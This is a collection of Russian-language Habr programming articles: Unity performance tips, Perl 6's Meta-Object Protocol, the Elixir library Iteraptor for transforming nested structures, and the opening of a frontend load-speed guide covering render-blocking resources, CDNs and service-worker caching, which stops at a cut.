**1.5.** Используйте **SpriteAtlas**. Ввели их сравнительно недавно, но они довольно удобные. Полезный инструмент, чтобы уменьшить количество draw calls. В Unity он работает из коробки, хотя раньше приходилось использовать внешние решения вроде TexturePacker или создавать атласы вручную и потом при импорте руками бить их на спрайты.
**1.6.** Ещё следует помнить, что **десериализация** Unity недостаточно быстрая. Особенно это касается старых версий Unity. Поэтому, если вы разрабатываете игру с большим количеством статических данных, имеет смысл подумать над отказом от ScriptableObject.
Мы используем свою систему конфигов на базе бинарного протокола. Некоторые наши проекты создают такие конфиги при билде из тех же ScriptableObject, которые в итоге в билд не попадают. К сожалению, сделать свою более быструю реализацию префабов нам в своё время не удалось: получалось быстрее на больших префабах, но медленнее на мелких из-за особенностей добавления и инициализации компонентов в рантайме. К тому же, в последних версиях Unity был ряд фиксов, связанных с загрузкой ассетов, так что, возможно, оно уже того и не стоит.
### Объекты и иерархия
**2.1.** Ещё один довольно очевидный совет: не спавните объекты в корень сцены, **делайте контейнеры для разных типов объектов**, чтобы не создавать хаос в иерархии. Еще такие контейнеры может быть удобно использовать для пулинга, чтобы не менять родителя.
**2.2.** Используйте **Pooling** объектов — это позволит меньше дёргать Garbage Collector. В 2021 году Unity представили свои инструменты для пулинга — UnityEngine.Pool. Но если вы используете более старую версию Unity, вам придётся писать свою реализацию пулов или искать библиотеку в Asset Store. В самом простейшем случае пулинга GameObject — это активация/деактивация заранее инстанцированных из префаба в отдельный контейнер объектов.
> ***Хитрость:*** *при инстанцировании префаба для преспавна имеет смысл его предварительно деактивировать, чтобы объекты создавались выключенными и не дёргали внутренние события Unity, вроде OnEnable.*
>
>
**2.3.** **Animation vs Animator**. *Animation* — это старый анимационный движок, который помечен как legacy, и использовать его уже не рекомендуют, но все равно в некоторых случаях он остается довольно полезным. *Animator* — более громоздкая штука, которая имеет внутри себя стейт-машину с кучей ништяков, вроде блендинга и параметров, но долго инициализируется при активации объекта. Отсюда следует правило, что не нужно использовать Animator для простых анимаций — используйте для этого Animation или твины.
> ***Хитрость****: допустим, вы сделали AnimationClip для Animation и поняли, что вам этого недостаточно, и нужен Animator. А переделывать клип не хочется. А они несовместимы. Но если переключиться в Inspection в режим Debug, то там будет скрытый параметр legacy, который можно снять и продолжить работать уже в Animator. Вся несовместимость только на уровне скомпилированного клипа — в редакторе форматы клипов идентичны.*
>
>
### Интерфейсы
**3.1.** **GameObject в сцене грузятся быстрее**, чем инстанцируются из префабов. Соответственно, для их уничтожения тоже стоит просто удалить сцену, в то время как для удаления объекта, инстанцированного из префаба, нужно удалить не только инстансы, но и сам префаб, который занимает место в памяти. Это полезно для больших интерфейсных окон, которые существуют в единственном экземпляре, и нет необходимости тратить время и память на предварительную загрузку префаба. Хотя менеджить такие объекты становится сложнее, и чаще всего никто не заморачивается.
Но если вы решили, что хотите грузить объект через сцену, а сцену хотите удалить, тогда в обычном случае объект тоже удалится. Если вы хотите этого избежать, используйте **DontDestroyOnLoad**. Тогда Unity создаст системную сцену и переместит такие объекты туда, и они не будут удаляться при смене сцен. Работает даже для объектов, созданных в рантайме или инстанцированных из префабов. Полезно, например, для загрузочного экрана, который никогда не удаляется и показывается/скрывается при необходимости.
**3.2.** **Делайте отдельные Canvas для ваших окон**.Проблема, с которой столкнулись мы сами: если все держать в одном Canvas, он будет полностью пересчитываться при каждом изменении объектов внутри канваса. Особенно это касается динамического анимированного интерфейса с партиклами.
**3.3.** **CanvasScaler** — самый полезный инструмент для работы с интерфейсами, который помогает настроить скейл вашего интерфейса и как он будет себя вести при разных разрешениях и соотношениях сторон экрана. Это особенно актуально при разработке для мобильных платформ, но и для ПК/консолей решит проблему с настройкой отображения интерфейса.
**3.4.** Если вы хотите управлять альфой нескольких интерфейсных элементов, как единым объектом, используйте **CanvasGroup**. У него есть своя альфа, есть свои настройки по прокликиванию мыши. Если вы меняете альфу CanvasGroup, меняются и все ее дочерние графические элементы.
**3.5.** **Layout** и **ContentSizeFitter**. Как сделать так, чтобы ваше окно само увеличилось от размера контента? По логике, вы должны просто добавить компонент ContentSizeFitter, и он все сделает сам. Но в Unity это так не работает. Поэтому, если вам нужно, чтобы размер менял внешний объект, то вам нужна именно связка Layout & ContentSizeFitter. Также по непонятным причинам иногда при добавлении или активации объектов внутри Layout размеры могут не пересчитываться. Тогда приходит на выручку Canvas.ForceUpdateCanvases или LayoutRebuilder.ForceRebuildLayoutImmediate — хотя это грязные хаки, которых нужно стараться избегать.
**3.6.** **Анимация интерфейса**, **Particle System** и **3D-модели** — это боль, с которой каждый выкручивается, как может.
Canvas существует в системе рендеринга Unity как некий отдельный объект, внутри которого правила рендеринга другие: здесь он происходит последовательно по иерархии объектов, унаследованных от RectTransform. Объекты, унаследованные от обычного Transform, рендерятся по Sorting Layer. Соответственно, Particle System или любой иной Renderer на объекте с Transform тоже рендерится по Sorting Layer. И научить Unity работать с такими объектами между двумя интерфейсными объектами — довольно проблематичная штука.
*Плохой способ*: можно сделать два Canvas и поместить Particle System между ними. Но это сильно усложнит иерархию окон, особенно если партиклов нужно несколько или нужно их как-то анимировать совместно с другими объектами интерфейса.
Из коробки нет реализации партиклов для интерфейса. Есть несколько ассетов в Asset Store, но нам ни один не понравился. В итоге мы используем свою реализацию рендера частиц на базе стандартной Particle System (она знакома аниматорам) и MaskableGraphic.OnPopulateMesh с возможностью задать частоту перестройки меша. И даже при редкой перестройке такие партиклы достаточно сильно роняют FPS и напрягают GC, так что стараемся не злоупотреблять ими в интерфейсе.
С анимациями проблема в перестройке канваса каждый кадр, так что тут можно только посоветовать размещать сложные анимации в отдельных сабканвасах.
Для рендеринга внутри интерфейса каких-то сложных игровых объектов — например, 3D-моделей или объектов на базе SpriteRenderer — обычно используют RenderTexture. Отдельной камерой рендерят нужные объекты в текстуру, а её уже используют как источник в RawImage — аналоге Image, рендерящем не спрайты, но текстуры.
В общем, всё это дорого, и лучше стараться этого избегать. Но если очень хочется, то вы теперь знаете, куда копать.
### Кодинг
**4.1.** **Не используйте GameObject.Find**, **FindWithTag** и т.д. GameObject.Find занимается тем, что ищет по неким заданным параметрам объекты, которые сейчас есть на сцене. В том числе он может искать среди отключенных объектов, так что это очень долго. Делайте свои кеши объектов по необходимости. Единственное, где GameObject.Find хоть как-то оправдан — редакторские скрипты, где вам не важна скорость работы.
**4.2.** **Забудьте про Invoke и SendMessage у MonoBehaviour**. Все это очень медленно и не очень отлажено.
**4.3.** **Не используйте** **GetComponent в Update**. GetComponent — штука дорогая, поэтому лучше кешируйте все необходимые компоненты заранее. Причем в идеале лучше даже кешировать их не на этапе загрузки, а сериализовывать в сам префаб.
**4.4.** **Не используйте стандартный** **Update**. Все стандартные события Unity очень медленные. И если для событий, вызывающихся один раз за жизненный цикл объекта, это терпимо, то для событий, вызывающихся 30+ раз в секунду — неприемлемо. Лучше вместо этого сделать свой сервис, который будет вызывать у зарегистрированных в нём объектов свой публичный метод обновления.
**4.5.** **Не двигайте Rigidbody в Update**, не двигайте Transform в FixedUpdate. Все равно физика будет обрабатываться в FixedUpdate, а трансформы — в Update. Изменение скорости, применение сил — всё это нужно делать в FixedUpdate.
**4.6.** **Не конкатенируйте строки в Update**. Не будите GC, пусть спит. Если вам это нужно для таймера — отсчитывайте секунду и меняйте, не чаще.
**4.7.** **Не доверяйте** **OnDestroy/OnTriggerExit**. Очень неочевидная штука: они попросту могут не вызываться в некоторых случаях. Например, если ваш объект сначала скрыт, а потом удален — тогда OnDestroy и OnTriggerExit не вызовутся. Тут придётся писать (или найти в Интернете) своё решение этой проблемы.
**4.8.** **Используйте «мягкие» ссылки на ассеты** (AssetReference или свой аналог). Это тоже одна из главных проблем Unity для крупных проектов. Ведь если вы сошлётесь прямой ссылкой на какой-то префаб или ассет, он потянет за собой все, на что ссылается он. Идея в том, чтобы максимально отдалить момент загрузки при указании ссылки на ассет. Жёсткие ссылки стоит использовать только для указания частей префаба или в качестве исключения для ссылок на ассеты с полным пониманием, к чему это приведёт. Например, это может привести к дублированию ассетов в бандлах.
**4.9.** **Используйте асинхронную загрузку ассетов**, если это возможно. Такое размазывание загрузки положительно скажется на плавности вашей игры, открытии интерфейсов, особенно с большими списками. При этом асинхронная загрузка не исключает предзагрузку по необходимости.
**4.10.** **SerializeReference** — сравнительно новая система, позволяющая сериализовать данные любых классов по интерфейсу или базовому классу. В Unity долгое время ничего такого не было, кроме кастомной сериализации в префабах. Но есть ряд проблем, которые для некоторых являются блокером для использования этой системы.
Наименьшая проблема: там есть только API, редакторы таких данных нужно писать самостоятельно, хотя на [GitHub](https://github.com/elmortem/serializereferenceeditor) и в Asset Store есть бесплатные реализации. В целом там ничего сложного нет, редактор пишется за вечер.
Другая проблема, что существует только ссылка на запись: вы можете записать что-то в объект, но читать в редакторском скрипте вы его не сможете. Нужно находить способы это обходить.
Далее идёт проблема с тем, как Unity сериализуют такие данные: всё хранится в одном массиве в конце файла ассета. Индексы могут неконтролируемо меняться, что в дальнейшем может привести к проблеме с мержем таких ассетов.
И последнее: атрибут переименования полей **FormerlySerializeAs** до сих пор не работает с SerializeReference, а переименование самого класса, сериализованного таким способом, приведёт к исключению при десериализации и невозможности как-то редактировать такой ассет. В остальном система очень удобная и гибкая, и я бы не отказывался от неё — лучше пинать Unity в сторону её улучшения.
**4.11.** Используйте **Non-Allocate** версии API. Раньше в Unity было много проблем с аллокациями при вызове стандартных методов движка. В какой-то момент они реализовали методы-саттелиты, не выделяющие память для своей работы. Вам самим придётся позаботится об этом, создав необходимые кеши. Но оно того стоит.
**4.12.** **[Conditional(“define”)]** полезен для отключения методов. Мы так отключаем логи.
**4.13.** В Unity не всё может являться тем, чем кажется. Например, Particle System разбита на модули, и геттеры модулей возвращают структуру, которую можно редактировать для изменения модуля, но нельзя сеттить. Выглядит это примерно так:
```
var main = ParticleSystem.main;
main.startDelay = 5.0f;
```
В этот момент IDE может немного взбунтоваться. Анализаторы кода предлагают удалить код с неиспользуемой структурой, но всё хорошо, в Unity так можно.
**4.14.** Используйте **Dependency Injection**. Как минимум, разберитесь с [**Zenject**](https://github.com/Mathijs-Bakker/Extenject) — его используют с Unity чаще всего, но можете поискать альтернативные варианты или даже написать свою реализацию, сути это не меняет.
**4.15.** Unity активно развивается — постоянно добавляются различные крутые штуки. Традиционно на старте всё это очень забагованное, неудобное или просто бессмысленное, но стоит за всем этим следить и присматривать на будущее полезные для вашей работы инструменты, например:
* **Memory Profiler;**
* Новая **Input System** — очень удобна для настройки под разные девайсы;
* **Render Pipeline** — позволяет довольно глубоко нырнуть в рендеринг и перестроить под себя и оптимизировать его;
* **Burst**, **Jobs**, и т. д.
### Инструменты
Инструменты и возможности их написания в Unity — одно из главных преимуществ движка по сравнению с тем же Unreal Engine. Но кастомные редакторы не всегда быстро работают, поэтому не стоит злоупотреблять большими списками сложных данных, сложных контролов в Inspector и т.д.
Самый популярный инструмент для работы с редакторами — [**Odin Inspector**](https://odininspector.com/). Он сильно упрощает жизнь, но использует те же инструменты Unity для работы с редакторами, поэтому на больших данных работает также очень медленно.
**Editor** — кастомное окно, где можно производить рендеринг от простых элементов интерфейса до более сложных контролов. Пример окна редактора:
А это пример редактора диалогов:
Есть готовые библиотеки для быстрого создания специализированных редакторов. Например, [**xNode**](https://github.com/Siccity/xNode) позволяет создавать редакторы на базе нод.
**Helpers Property** — для форматирования в инспекторе, создания контекстных меню и прочего.
Пример меню для создания ScriptableObject в одну строчку:
```
[CreateAssetMenu(menuName = "Gameplay/GameEvents/Game Event", fileName = "gameEvent.asset")]
public class GameEventConfig : ConfigBase
{
// ...
}
// ...
public class ConfigBase : ScriptableObject { /* ... */ }
```
Также стоит присмотреться к HideInInspector, Header, Space, Min, Area, ContextMenu, ExecuteInEditMode, RequireComponent, RuntimeInitializeOnLoadMethod и т. д.
**PropertyDrawer** — для написания своих атрибутов и их кастомного рендера.
Пример рисования строкового поля для ключа локализации с кнопкой копирования и просмотром локализации:
```
public class Item : ConfigBase
{
[LocalizationString]
public class string TitleKey;
[LocalizationString]
public class string DescriptionKey;
// ...
}
```
### Ещё немного ссылок
На этом я заканчиваю свой материал, но напоследок хочу оставить пару ссылок, которые дадут еще больше информации по теме:
* [Советы и рекомендации по работе с Unity](https://habr.com/ru/post/309478/)
* [C# Tasks vs. Unity Jobs](https://www.jacksondunstan.com/articles/4926)
А также можно ознакомиться со [списком вакансий](https://it-territory.ru/ru/jobs) в нашей студии: делай игры с нами, делай игры, как мы, делай игры лучше нас. | https://habr.com/ru/post/649687/ | null | ru | null |
# Meta-Object Protocol в Perl6
В некоторых языках программирования существует интерфейс для создания класса не через его определение, а через выполнение некоего кода. Этот API называется Meta-Object Protocol или MOP.
В Perl 6 есть MOP, позволяющий создавать классы, роли и грамматики, добавлять методы и атрибуты и делать интроспекцию классов. К примеру, вот как в Rakudo можно использовать вызовы MOP, чтобы узнать, как реализован тип Rat (рациональные числа). Вызовы методов MOP обычно начинаются не с точки, а с .^
```
$ perl6
> say join ', ', Rat.^attributes
$!numerator, $!denominator
> # список всех методов слишком длинный,
> # поэтому мы сделаем случайную их выборку
> say join ', ', Rat.^methods(:local).pick(5)
unpolar, ceiling, reals, Str, round
> say Rat.^methods(:local).grep('log').[0].signature.perl
:(Numeric $x: Numeric $base = { ... };; *%_)
```
Большинство строк должны быть понятны: у объектов класса Rat есть два атрибута, $!numerator и $!denominator, и много методов. Метод log принимает значение Numeric как вызывающий метод (это отмечено двоеточием после имени параметра) и необязательный второй параметр $base, у которого есть значение по умолчанию (число Эйлера e).
Хороший пример использования можно взять из интерфейса баз данных Perl 6. У него есть возможность записывать вызовы объекта в log, ограничив при этом запись методов одной конкретной ролью (к примеру, только роли, которая занимается вопросами соединения с базой, или же вопросами извлечения данных). Вот пример:
```
sub log-calls($obj, Role $r) {
my $wrapper = RoleHOW.new;
for $r.^methods -> $m {
$wrapper.^add_method($m.name, method (|$c) {
# вывести протокол выполнения
# note() пишет в standard error
note ">> $m";
# вызвать следующий метод с тем же именем и
# теми же аргументами
nextsame;
});
}
$wrapper.^compose();
# оператор 'does' работает так же, как 'but', но
# изменяет только копию объекта
$obj does $wrapper;
}
role Greet {
method greet($x) {
say "hello, $x";
}
}
class SomeGreeter does Greet {
method LOLGREET($x) {
say "OH HAI "~ uc $x;
}
}
my $o = log-calls(SomeGreeter.new, Greet);
# записали в log, поскольку это отработала роль Greet
$o.greet('you');
# не записали в log, поскольку это не та роль
$o.LOLGREET('u');
```
Выводит:
```
>> greet
hello, you
OH HAI U
```
С использованием Meta-Object Protocol классы, роли и грамматики становятся доступны вам не только через специальный синтаксис, но и через обычный API. Это добавляет гибкости в ООП-код и позволяет проводить интроспекцию и изменения объектов. | https://habr.com/ru/post/265199/ | null | ru | null |
# Iteraptor: библиотека для глубокого прозрачного мап-редьюса
Структуры данных *Elixir* — иммутабельны. Это здорово с точки зрения уверенности в том, что наши данные не будут искорежены до неузнаваемости в каком-то другом нерелевантном куске кода, но это немного раздражает, когда нам нужно изменить глубоко вложенную структуру.
У нас есть блестящая абстракция [`Access`](https://hexdocs.pm/elixir/Access.html), которая донельзя упрощает четыре основные операции на глубоко вложенных объектах, при помощи экспортируемых по умолчанию из `Kernel` функций:
* [`Kernel.get_in/2`](https://hexdocs.pm/elixir/Kernel.html#get_in/2)
* [`Kernel.put_in/{2,3}`](https://hexdocs.pm/elixir/Kernel.html#put_in/2)
* [`Kernel.update_in/{2,3}`](https://hexdocs.pm/elixir/Kernel.html#update_in/2)
* [`Kernel.pop_in/{1,2}`](https://hexdocs.pm/elixir/Kernel.html#pop_in/2)
Эти четыре мушкетера (и д’Артаньян [`Kernel.get_and_update_in/{2,3}`](https://hexdocs.pm/elixir/Kernel.html#get_and_update_in/2) обычно используются как-то так:
```
iex> users = %{"john" => %{age: 27, mood: ""}, "meg" => %{age: 23}}
# получить значение
iex> get_in(users, ["john", :age])
#⇒ 27
# записать значение
iex> put_in(users, ["john", :age], 28)
#⇒ %{"john" => %{age: 28, mood: ""}, "meg" => %{age: 23}}
# обновить значение
iex> update_in(users, ["john", :mood], & &1 + 1)
#⇒ %{"john" => %{age: 28, mood: ""}, "meg" => %{age: 23}}
# удалить значение
iex> pop_in(users, ["john", :mood])
#⇒ {"", %{"john" => %{age: 27}, "meg" => %{age: 23}}}
```
Это удобно, и работает во многих случаях… кроме тех, когда оно не работает. Чтобы использовать `Access`, необходимо знать путь к целевому элементу, и это все требует значительного количества шаблонного кода, чтобы разом обновить несколько вложенных значений (например, удалить все листья со значением `nil`, или зазвездить содержимое всех полей, которые не нужно показывать в логах).
Чтобы обеспечить оптовые скидки на работу со вложенными структурами, и была создана библиотека `Iteraptor`.
**TL;DR:**
* [исходники](https://github.com/am-kantox/elixir-iteraptor);
* [документация](https://hexdocs.pm/iteraptor/Iteraptor.html).
---
Итерирование всего, что можно итерировать в *Elixir* волшебно. Чтобы сделать что-нибудь итерируемым, достаточно имплементировать протокол [`Enumerable`](https://hexdocs.pm/elixir/Enumerable.html) для этого конкретного типа. Можно группировать проходы в пайплайны, маппить, редьюсить, фильтровать, прореживать… Простите мой французский, да. Каждый, кто провел с *Elixir* хотя бы восемь часов, определенно видел (и даже, возможно, написал) что-то вроде этого:
```
~w|саня ваня оля вера|
|> Enum.map(&String.capitalize/1)
|> Enum.each(fn capitalized_name ->
IO.puts "Hello, #{capitalized_name}!"
end)
# Hello, Саня!
# Hello, Ваня!
# Hello, Оля!
# Hello, Вера!
```
Это действительно очень удобно. Однако, код достаточно быстро становится громоздким, когда речь заходит о глубоко вложенных структурах, таких как *map* с вложенными *keywords*, списками и т. д. Хорошим примером этого может быть любой конфигурационный файл, содержащий вложенные подразделы.
Количество вопросов на *Stack Overflow* с вопросом «как я могу поменять вложенную структуру?» заставило меня, наконец, создать эту библиотеку. Реализация в *Elixir* выглядит немного запутанной, поскольку все вокруг — иммутабельно, и нельзя просто спуститься вниз по веткам структуры вплоть до листьев, изменяя все необходимое на месте. Потребуется аккумулятор, как, впрочем, под любым капотом функционального кода. Изменение вложенных структур — вероятно, единственный пример, который я встречал в своей жизни, когда мутабельность делает вещи проще.
В качестве бонуса к обычным мапредьюсам, я добавил реализацию для сохранения значения глубоко внутри структуры, которая создает промежуточные ключи по мере необходимости. Она ведет себя как предложенная, но отвергнутая в ruby core `Hash#bury`. Еще эта библиотека умеет «джейсонифицировать» вложенные структуры, содержащие *keywords*, которые не могут быть просто так сериализованы в *json*, поскольку внутри представлены как списки двухэлементных кортежей (`[foo: :bar] == [{:foo, :bar}]`), а кортежи не сериализуемы просто так из коробки.
---
Итак, поприветствуем библиотеку, которая в хвост и в гриву итерирует любой *map* / *keyword* / *list* почти так же просто, как и стандартные `Enum.each/2` и `Enum.map/2`.
### Возможности
* [`Iteraptor.each/3`](https://hexdocs.pm/iteraptor/Iteraptor.html#each/3) простая итерация, возвращает саму структуру;
* [`Iteraptor.map/3`](https://hexdocs.pm/iteraptor/Iteraptor.html#map/3) маппинг, возвращает замапленную структуру;
* [`Iteraptor.reduce/4`](https://hexdocs.pm/iteraptor/Iteraptor.html#reduce/4) редьюс, возвращает аккумулятор;
* [`Iteraptor.map_reduce/4`](https://hexdocs.pm/iteraptor/Iteraptor.html#map_reduce/4) мап *и* редьюс, возвращает кортеж с результатом маппинга *и* аккумулятором;
* [`Iteraptor.filter/3`](https://hexdocs.pm/iteraptor/Iteraptor.html#filter/3) фильтрует структуру при помощи функции, полученной последним параметром;
* [`Iteraptor.jsonify/2`](https://hexdocs.pm/iteraptor/Iteraptor.html#jsonify/2) подготавливает структуру для сериализации в *json*: все *keywords* заменяются на *maps*, ключи конвертируются в строки;
* [`Iteraptor.Extras.bury/4`](https://hexdocs.pm/iteraptor/Iteraptor.Extras.html#bury/4) записывает значение вглубь структуры, создавая промежуточные ключи по мере необходимости;
* [`Iteraptor.to_flatmap/2`](https://hexdocs.pm/iteraptor/Iteraptor.html#to_flatmap/2) превращает структуру в плоскую, заботливо создавая индексы для списков; оригинальную структуру можно получить обратно с использованием
* [`Iteraptor.from_flatmap/3`](https://hexdocs.pm/iteraptor/Iteraptor.html#from_flatmap/3) превращает плоскуб структуру с конкатенированными ключами в глубоко вложенную;
* [`use Iteraptor.Iteraptable`](https://hexdocs.pm/iteraptor/Iteraptor.Iteraptable.html) автоматическая имплементация протоколов `Enumerable` и `Collectable`, а также `Access` behaviour для структуры. Есть [более подробное описание](https://rocket-science.ru/hacking/2018/11/16/iteraptable-extending-elixir-structs) того, что там под капотом (англ.).
### Слова ничего не стоят, покажи код!
#### Итерирование, маппинг, редьюсинг
```
# each
iex> %{a: %{b: %{c: 42}}} |> Iteraptor.each(&IO.inspect(&1, label: "each"), yield: :all)
# each: {[:a], %{b: %{c: 42}}}
# each: {[:a, :b], %{c: 42}}
# each: {[:a, :b, :c], 42}
%{a: %{b: %{c: 42}}}
# map
iex> %{a: %{b: %{c: 42}}} |> Iteraptor.map(fn {k, _} -> Enum.join(k) end)
%{a: %{b: %{c: "abc"}}}
iex> %{a: %{b: %{c: 42}, d: "some"}}
...> |> Iteraptor.map(fn
...> {[_], _} = self -> self
...> {[_, _], _} -> "********"
...> end, yield: :all)
%{a: %{b: "********", d: "some"}}
# reduce
iex> %{a: %{b: %{c: 42}}}
...> |> Iteraptor.reduce([], fn {k, _}, acc ->
...> [Enum.join(k, "_") | acc]
...> end, yield: :all)
...> |> :lists.reverse()
["a", "a_b", "a_b_c"]
# map-reduce
iex> %{a: %{b: %{c: 42}}}
...> |> Iteraptor.map_reduce([], fn
...> {k, %{} = v}, acc -> {{k, v}, [Enum.join(k, ".") | acc]}
...> {k, v}, acc -> {{k, v * 2}, [Enum.join(k, ".") <> "=" | acc]}
...> end, yield: :all)
{%{a: %{b: %{c: 42}}}, ["a.b.c=", "a.b", "a"]}
# filter
iex> %{a: %{b: 42, e: %{f: 3.14, c: 42}, d: %{c: 42}}, c: 42, d: 3.14}
...> |> Iteraptor.filter(fn {key, _} -> :c in key end, yield: :none)
%{a: %{e: %{c: 42}, d: %{c: 42}}, c: 42}
```
#### Глубокая вложенность → плоская структура и обратно
```
iex> %{a: %{b: %{c: 42, d: [nil, 42]}, e: [:f, 42]}}
...> |> Iteraptor.to_flatmap(delimiter: "_")
#⇒ %{"a_b_c" => 42, "a_b_d_0" => nil, "a_b_d_1" => 42, "a_e_0" => :f, "a_e_1" => 42}
iex> %{"a.b.c": 42, "a.b.d.0": nil, "a.b.d.1": 42, "a.e.0": :f, "a.e.1": 42}
...> |> Iteraptor.from_flatmap
#⇒ %{a: %{b: %{c: 42, d: [nil, 42]}, e: [:f, 42]}}
```
#### Плюшки
```
iex> Iteraptor.jsonify([foo: [bar: [baz: :zoo], boo: 42]], values: true)
%{"foo" => %{"bar" => %{"baz" => "zoo"}, "boo" => 42}}
iex> Iteraptor.Extras.bury([foo: :bar], ~w|a b c d|a, 42)
[a: [b: [c: [d: 42]]], foo: :bar]
```
---
Исходники [открыты](https://github.com/am-kantox/elixir-iteraptor), документация [довольно подробная](https://hex.pm/packages/iteraptor), у нас в продакшене уже почти два года.
Удачных итераций! | https://habr.com/ru/post/482478/ | null | ru | null |
# Ускоряем фронтенд. Когда много запросов к серверу — это хорошо
В этой статье описываются некоторые методы ускорения загрузки фронтенд-приложений, чтобы реализовать отзывчивый, быстрый пользовательский интерфейс.
Мы обсудим общую архитектуру фронтенда, как обеспечить предварительную загрузку необходимых ресурсов и увеличить вероятность того, что они в кэше. Немного порассуждаем, как отдавать ресурсы с бэкенда и когда можно ограничиться статическими страницами вместо интерактивного клиентского приложения.
Процесс загрузки разделим на три этапа. Для каждого этапа сформулируем общие стратегии повышения производительности:
1. **Начальная отрисовка**: сколько времени требуется, чтобы пользователь увидел хоть что-то
* Сократить запросы, блокирующие рендеринг
* Избегать последовательных цепочек
* Повторно использовать соединения с сервером
* Сервис-воркеры для мгновенного рендеринга
2. **Загрузка приложения**: сколько времени требуется, чтобы пользователь смог использовать приложение
* Разбить пакет приложения на части. Загружать только необходимые ресурсы. Максимизация попаданий в кэш
* Проверить, что хэши частей пакета не меняются без необходимости
* Запрашивать данные для страницы до загрузки всего приложения
* Не блокировать рендеринг загрузкой второстепенных данных
* Рассмотреть рендеринг на стороне сервера
3. **Следующая страница**: сколько времени требуется для перехода на следующую страницу
* Запрашивать дополнительный код до того, как он понадобится
* Кэшировать и повторно использовать данные на клиенте
Начальный рендеринг
===================
До момента начальной отрисовки пользователь вообще ничего не видит на экране. Что нам нужно для этой отрисовки? Как минимум, загрузить HTML-документ, а в большинстве случаев ещё и дополнительные ресурсы, такие как файлы CSS и JavaScript. Как только они доступны, браузер может приступить к какому-то рендерингу.
На протяжении всей статьи приведены диаграммы [WebPageTest](https://www.webpagetest.org/). Последовательность запросов для вашего сайта, вероятно, будет выглядеть примерно так.
HTML-документ загружает кучу дополнительных файлов, и страница отрисовывается после их загрузки. Обратите внимание, что файлы CSS загружаются параллельно друг другу, поэтому каждый дополнительный запрос не добавляет значительной задержки.
(Примечание: на скриншоте пример gov.uk, где теперь [включен HTTP/2](https://twitter.com/TheRealNooshu/status/1225403389158227971), так что домен с ресурсами может повторно использовать существующее соединение. Подробнее о серверных соединениях см. ниже).
### Сократить запросы, блокирующие рендеринг
Таблицы стилей и (по умолчанию) скрипты блокируют отрисовку любого контента под ними.
Есть несколько вариантов, как это исправить:
* Перенести теги script в нижнюю часть body
* Загружать скрипты в асинхронном режиме с помощью `async`
* Если JS или CSS должны загружаться последовательно, то лучше встроить их небольшими сниппетами
### Избегайте цепочек с последовательными запросами, блокирующими рендеринг
Задержка с отрисовкой сайта не обязательно связана с большим количеством запросов, которые блокируют рендеринг. Более важным является размер каждого ресурса, а также время начала его загрузки. То есть момент, когда браузер вдруг понимает, что вот этот ресурс нужно загрузить.
Если браузер обнаруживает необходимость загрузить файл только после завершения другого запроса, то налицо цепочка запросов. Она может сформироваться по разным причинам:
* Правила `@import` в CSS
* Веб-шрифты, на которые ссылается файл CSS
* Загружаемые JavaScript или теги скриптов
Взгляните на этот пример:
Один из CSS-файлов на этом сайте загружает шрифт Google через правило `@import`. Это означает, что браузеру приходится по очереди выполнять следующим запросы:
1. Документ HTML
2. CSS приложения
3. CSS для Google Fonts
4. Файл Woff от Google Font (не показан на диаграмме)
Чтобы исправить это, сначала переместите запрос Google Fonts CSS из тега `@import` в ссылку в HTML-документе. Так мы сокращаем цепь на одно звено.
Чтобы ещё больше ускорить процесс, **вставьте Google Fonts CSS** напрямую в свой файл HTML или CSS.
(Имейте в виду, что ответ CSS от сервера Google Fonts зависит от строчки user agent. Если сделать запрос с помощью IE8, то CSS сошлётся на файл EOT, браузер IE11 получит файл woff, а современные браузеры получат файл woff2. Если вы согласны, что старые браузеры ограничатся системными шрифтами, то можете просто скопировать и вставить к себе содержимое файла CSS).
Даже после начала рендеринга пользователь вряд ли сможет взаимодействовать со страницей, потому что для отображения текста нужно загрузить шрифт. Это дополнительная сетевая задержка, которой хотелось бы избежать. Здесь полезен [параметр swap](https://css-tricks.com/google-fonts-and-font-display/), он позволяет использовать `font-display` с Google Fonts, а шрифты хранить локально.
Иногда цепочку запросов устранить невозможно. В таких случаях можете рассмотреть **тег preload или preconnect**. Например, веб-сайт из примера выше может подключиться к `fonts.googleapis.com` ещё до того, как поступит фактический запрос CSS.
### Повторное использование соединений с сервером для ускорения запросов
Чтобы установить новое соединение с сервером, обычно требуется три обмена пакетами между браузером и сервером:
1. Поиск DNS
2. Установление TCP-соединения
3. Установление SSL-соединения
После установления соединения требуется по крайней мере ещё один обмен пакетами, чтобы отправить запрос и получить ответ.
Диаграмма ниже показывает, что мы инициируем соединения с четырьмя различными серверами: `hostgator.com`, `optimizely.com`, `googletagmanager.com`, и `googelapis.com`.
Однако **последующие запросы к серверу могут повторно использовать существующее соединение**. Загрузка `base.css` или `index1.css` происходит быстрее, потому что они размещены на том же сервере `hostgator.com`, с которым ранее уже установлено соединение.
### Уменьшите размер файлов и используйте CDN
Вы контролируете два фактора, которые влияют на время выполнения запроса: это размер файлов с ресурсами и расположение серверов.
Отправляйте пользователю как можно меньше данных и убедитесь, что они сжаты (например, с помощью brotli или gzip).
У сетей доставки контента (CDN) серверы по всему миру. Вместо подключения к центральному серверу пользователь может подключиться к серверу CDN, который находится ближе. Таким образом, обмен пакетами пройдёт гораздо быстрее. Это особенно хорошо подходит для статических ресурсов, таких как CSS, JavaScript и изображения, поскольку их легко распространять через CDN.
### Устраняем сетевую задержку с помощью сервис-воркеров
Сервис-воркеры (Service Workers) позволяют перехватывать запросы перед их отправкой в сеть. Это означает, что **ответ приходит практически мгновенно**!
Конечно, это работает только в том случае, если вам действительно не требуется получение данных из сети. Ответ уже должен быть кэширован, поэтому выгода появится только со второй загрузки приложения.
Сервис-воркер ниже кэширует HTML и CSS, необходимые для визуализации страницы. Когда приложение снова загружается, оно пытается само выдать кэшированные ресурсы — и обращается в сеть только если они недоступны.
```
self.addEventListener("install", async e => {
caches.open("v1").then(function (cache) {
return cache.addAll(["/app", "/app.css"]);
});
});
self.addEventListener("fetch", event => {
event.respondWith(
caches.match(event.request).then(cachedResponse => {
return cachedResponse || fetch(event.request);
})
);
});
```
В [этом руководстве](https://developers.google.com/web/ilt/pwa/caching-files-with-service-worker) подробно рассказано об использовании сервис-воркеров для предварительной загрузки и кэширования ресурсов.
Загрузка приложения
===================
Итак, пользователь что-то видит на экране. Какие необходимы дальнейшие действия, чтобы он мог использовать приложение?
1. Загрузить код приложения (JS и CSS)
2. Загрузить необходимые данные для страницы
3. Загрузить дополнительных данные и изображения
Обратите внимание, что не только загрузка данных из сети может задержать рендеринг. Как только ваш код загружен, браузер должен проанализировать, скомпилировать и выполнить его.
### Загружайте только необходимый код и максимизируйте количество обращений в кэш
